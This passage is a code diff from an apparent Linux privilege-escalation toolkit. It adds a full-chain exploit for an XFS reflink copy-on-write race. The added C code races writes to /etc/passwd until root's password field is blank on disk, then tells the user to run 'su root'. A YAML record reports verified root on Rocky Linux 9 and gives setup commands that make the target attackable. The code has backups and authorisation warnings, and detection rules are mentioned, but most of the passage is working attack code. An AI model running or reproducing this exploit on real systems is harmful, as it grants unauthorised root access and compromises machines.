if (fd < 0) return;
(void)posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
close(fd);
}
/* Does the target's root line have an empty password field on DISK right now?
* Reads via O_DIRECT: a buffered read would be served from the stale page cache
* (the overwrite bypasses the inode), so it must not be used to verify a win. */
static int rfx_target_root_passwordless(const char *target)
{
unsigned char b[RFX_BLK]; size_t got = 0;
if (rfx_read_block_odirect(target, b, &got) != 0 || got == 0) return 0;
size_t n = got < RFX_BLK ? got : RFX_BLK - 1;
b[n] = '\0';
char *rl = (strncmp((char *)b, "root:", 5) == 0) ? (char *)b : NULL;
if (!rl) { char *p = strstr((char *)b, "\nroot:"); if (p) rl = p + 1; }
if (!rl) return 0;
return strncmp(rl, "root::", 6) == 0;
}
static skeletonkey_result_t refluxfs_exploit_fullchain(const struct skeletonkey_ctx *ctx)
{
const char *target = rfx_fc_target();
struct stat tst;
if (stat(target, &tst) != 0) {
fprintf(stderr, "[-] refluxfs: full-chain target %s not found\n", target);
return SKELETONKEY_PRECOND_FAIL;
}
if (tst.st_uid != 0 && !getenv("SKELETONKEY_REFLUXFS_TARGET")) {
fprintf(stderr, "[-] refluxfs: %s is not root-owned (uid=%u) — "
"overwriting it would not yield root; refusing\n",
target, (unsigned)tst.st_uid);
return SKELETONKEY_PRECOND_FAIL;
}
if ((size_t)tst.st_size == 0 || (size_t)tst.st_size > RFX_BLK) {
fprintf(stderr, "[-] refluxfs: %s is %lld bytes; this full-chain writes "
"only the first %u-byte block (the root line lives there) "
"— larger targets are not supported\n",
target, (long long)tst.st_size, RFX_BLK);
return SKELETONKEY_PRECOND_FAIL;
}
char dir[RFX_DIR_MAX];
bool assumed = false;
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) {
fprintf(stderr, "[-] refluxfs: no writable XFS scratch dir for the clone\n");
return SKELETONKEY_PRECOND_FAIL;
}
/* Craft the payload up front so we bail BEFORE touching anything if we
* cannot safely produce a passwd that keeps the caller (and root) intact. */
unsigned char orig[RFX_BLK];
ssize_t orig_len = rfx_slurp(target, orig, RFX_BLK);
if (orig_len <= 0) {
fprintf(stderr, "[-] refluxfs: cannot read %s\n", target);
return SKELETONKEY_PRECOND_FAIL;
}
struct passwd *pw = getpwuid(getuid());
const char *myuser = pw ? pw->pw_name : NULL;
unsigned char payload[RFX_BLK];
if (rfx_craft_stripped_root(orig, (size_t)orig_len, myuser, payload) != 0) {
fprintf(stderr, "[-] refluxfs: refusing to run — could not craft a "
"%s payload that keeps root and '%s' intact (unexpected "
"format?). Nothing was touched.\n",
target, myuser ? myuser : "?");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] refluxfs: --full-chain — DESTRUCTIVE. This rewrites "
"%s on disk (stripping root's password) via the reflink "
"CoW race. It preserves every other line, backs the file "
"up first, and restores on failure, but a persistent "
"on-disk overwrite of a system file is inherently risky. "
"Run only where you are authorised to.\n", target);
if (rfx_extent_is_shared(target) == 1)
fprintf(stderr, "[!] refluxfs: %s's extent is ALREADY reflink-shared "
"— its post-CoW refcount stays > 1, so this target is "
"likely NOT attackable (the race needs a private "
"extent). Proceeding but expect no win; see MODULE.md."
"\n", target);
}
/* Back the target up so cleanup()/failure can restore it. */
char backup[RFX_DIR_MAX + 64];
rfx_fc_backup_path(dir, backup, sizeof backup);
if (rfx_copy_file(target, backup) != 0) {
fprintf(stderr, "[-] refluxfs: could not back up %s to %s — refusing to "
"proceed without a restore path\n", target, backup);
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json)
fprintf(stderr, "[*] refluxfs: backed up %s -> %s. Race: %d writers / %d "
"helpers / %ds budget against a clone of %s.\n",
target, backup, RFX_FC_WRITERS, RFX_FC_HELPERS,
RFX_FC_BUDGET_SECS, target);
unsigned char orig_fb[RFX_BLK];
size_t fbgot = 0;
if (rfx_read_block_odirect(target, orig_fb, &fbgot) != 0) {
fprintf(stderr, "[-] refluxfs: cannot O_DIRECT-read %s\n", target);
return SKELETONKEY_TEST_ERROR;
}
size_t cmplen = (size_t)orig_len;
char scratch[RFX_SCRATCH_MAX];
snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "fc.XXXXXX", dir);
if (!mkdtemp(scratch)) {
fprintf(stderr, "[-] refluxfs: mkdtemp failed\n");
return SKELETONKEY_TEST_ERROR;
}
char clone[PATH_MAX];
snprintf(clone, sizeof clone, "%s/clone", scratch);
long rounds = 0;
int won = 0;
time_t deadline = time(NULL) + RFX_FC_BUDGET_SECS;
while (time(NULL) < deadline && !won) {
int d = rfx_fc_round(target, clone, payload, orig_fb, cmplen);
if (d < 0) break;
rounds++;
if (d == 1) won = 1;
if (!ctx->json && (rounds % 500) == 0)
fprintf(stderr, "[*] refluxfs: ... %ld rounds\n", rounds);
}
unlink(clone);
rfx_remove_scratch(scratch);
if (!won) {
/* Target should be untouched. If it is, drop the now-redundant backup;
* if it somehow changed, restore from it and keep nothing stale. */
unsigned char now[RFX_BLK]; size_t g = 0;
int changed = (rfx_read_block_odirect(target, now, &g) == 0 &&
memcmp(now, orig_fb, cmplen) != 0);
if (changed) (void)rfx_copy_file(backup, target); /* best-effort restore */
unlink(backup);
if (!ctx->json)
fprintf(stderr, "[-] refluxfs: full-chain did not win in %ld rounds / "
"%ds — %s %s. If its extent was pre-shared this target "
"is not attackable; otherwise retry.\n",
rounds, RFX_FC_BUDGET_SECS, target,
changed ? "was restored from backup" : "unchanged");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Won. Evict the target's stale page cache so both our verify below AND a
* subsequent `su` read the freshly-overwritten on-disk bytes, not the old
* cached copy. */
rfx_evict_cache(target);
/* Verify the target now really has a passwordless root line rather than
* some torn/garbled block — if it's corrupt, restore from backup and fail. */
if (!rfx_target_root_passwordless(target)) {
(void)rfx_copy_file(backup, target);
if (!ctx->json)
fprintf(stderr, "[!] refluxfs: race changed %s but it did not land a "
"clean passwordless-root line (torn write) — RESTORED "
"from backup. Re-run to try again.\n", target);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[+] refluxfs: ROOT-POP CONFIRMED after %ld rounds — %s "
"now carries a passwordless root line, written through the "
"reflink CoW race as uid=%u. Every other account was "
"preserved.\n", rounds, target, (unsigned)getuid());
fprintf(stderr, "[+] refluxfs: become root with: su root (empty "
"password — just press Enter)\n");
fprintf(stderr, "[i] refluxfs: RESTORE when done — as root run "
"`skeletonkey --cleanup refluxfs` (or `cp %s %s`). The "
"overwrite is persistent and survives reboot.\n",
backup, target);
}
return SKELETONKEY_EXPLOIT_OK;
}
/* Dispatcher: --full-chain engages the destructive /etc/passwd root pop;
* otherwise the safe, own-files reachability trigger. */
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = refluxfs_detect(ctx);
@@ -702,6 +1162,18 @@ static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
return SKELETONKEY_OK;
}
if (ctx->full_chain)
return refluxfs_exploit_fullchain(ctx);
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: safe reachability trigger (own files "
"only). Pass --full-chain to engage the real %s "
"overwrite -> su -> root pop.\n", rfx_fc_target());
return refluxfs_exploit_safe(ctx);
}
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds "
"a reflinked pair of files WE OWN in a private scratch "
@@ -879,6 +1351,27 @@ static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx)
return SKELETONKEY_OK;
}
/* First: if a full-chain run backed up the overwrite target, restore it.
* The overwrite is persistent on disk, so this is the important half of
* cleanup. Restoring /etc/passwd needs write permission — run this as root
* after the pop (`su root`, then `skeletonkey --cleanup refluxfs`). */
char backup[RFX_DIR_MAX + 64];
rfx_fc_backup_path(dir, backup, sizeof backup);
struct stat bst;
if (stat(backup, &bst) == 0) {
const char *target = rfx_fc_target();
if (rfx_copy_file(backup, target) == 0) {
unlink(backup);
if (!ctx->json)
fprintf(stderr, "[+] refluxfs: restored %s from backup %s and "
"removed the backup\n", target, backup);
} else if (!ctx->json) {
fprintf(stderr, "[!] refluxfs: found a backup at %s but could not "
"write %s (need root?). Restore manually: "
"cp %s %s\n", backup, target, backup, target);
}
}
DIR *d = opendir(dir);
if (!d) return SKELETONKEY_OK;
@@ -1060,7 +1553,7 @@ const struct skeletonkey_module refluxfs_module = {
.detect = refluxfs_detect,
.exploit = refluxfs_exploit,
.mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */
.cleanup = refluxfs_cleanup,
.cleanup = refluxfs_cleanup, /* restores /etc/passwd from the full-chain backup (run as root after the pop), then sweeps leftover scratch dirs */
.detect_auditd = refluxfs_auditd,
.detect_sigma = refluxfs_sigma,
.detect_yara = refluxfs_yara,
+1 -1
View File
@@ -1018,7 +1018,7 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), so it never downs the box. VM-verified full root pop, but gated behind --full-chain because that path persistently rewrites /etc/passwd (backed up + restorable); plain --auto runs only the safe own-files trigger */
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
+1 -1
View File
@@ -341,7 +341,7 @@ refluxfs:
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
kernel_version: "5.14.0"
expect_detect: VULNERABLE
verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────